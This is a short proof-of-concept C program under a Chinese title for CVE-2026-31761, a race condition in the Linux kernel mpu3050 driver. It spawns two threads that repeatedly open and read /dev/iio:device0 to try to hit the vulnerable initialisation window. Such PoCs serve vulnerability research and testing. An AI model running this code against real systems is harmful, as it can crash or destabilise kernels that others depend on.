CVE-2026-31761 Linux内核mpu3050驱动竞态条件漏洞

/* * PoC for CVE-2026-31761: mpu3050 Race Condition * This PoC attempts to trigger the race by accessing the device * during the vulnerable initialization window. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #define DEVICE_PATH "/dev/iio:device0" void *race_func(void *arg) { int fd; char buffer[32]; while (1) { fd = open(DEVICE_PATH, O_RDONLY); if (fd >= 0) { // Attempt interaction with the device read(fd, buffer, sizeof(buffer)); close(fd); } } return NULL; } int main() { pthread_t t1, t2; printf("Starting race condition PoC for CVE-2026-31761...\n"); // Spawn multiple threads to increase race probability pthread_create(&t1, NULL, race_func, NULL); pthread_create(&t2, NULL, race_func, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }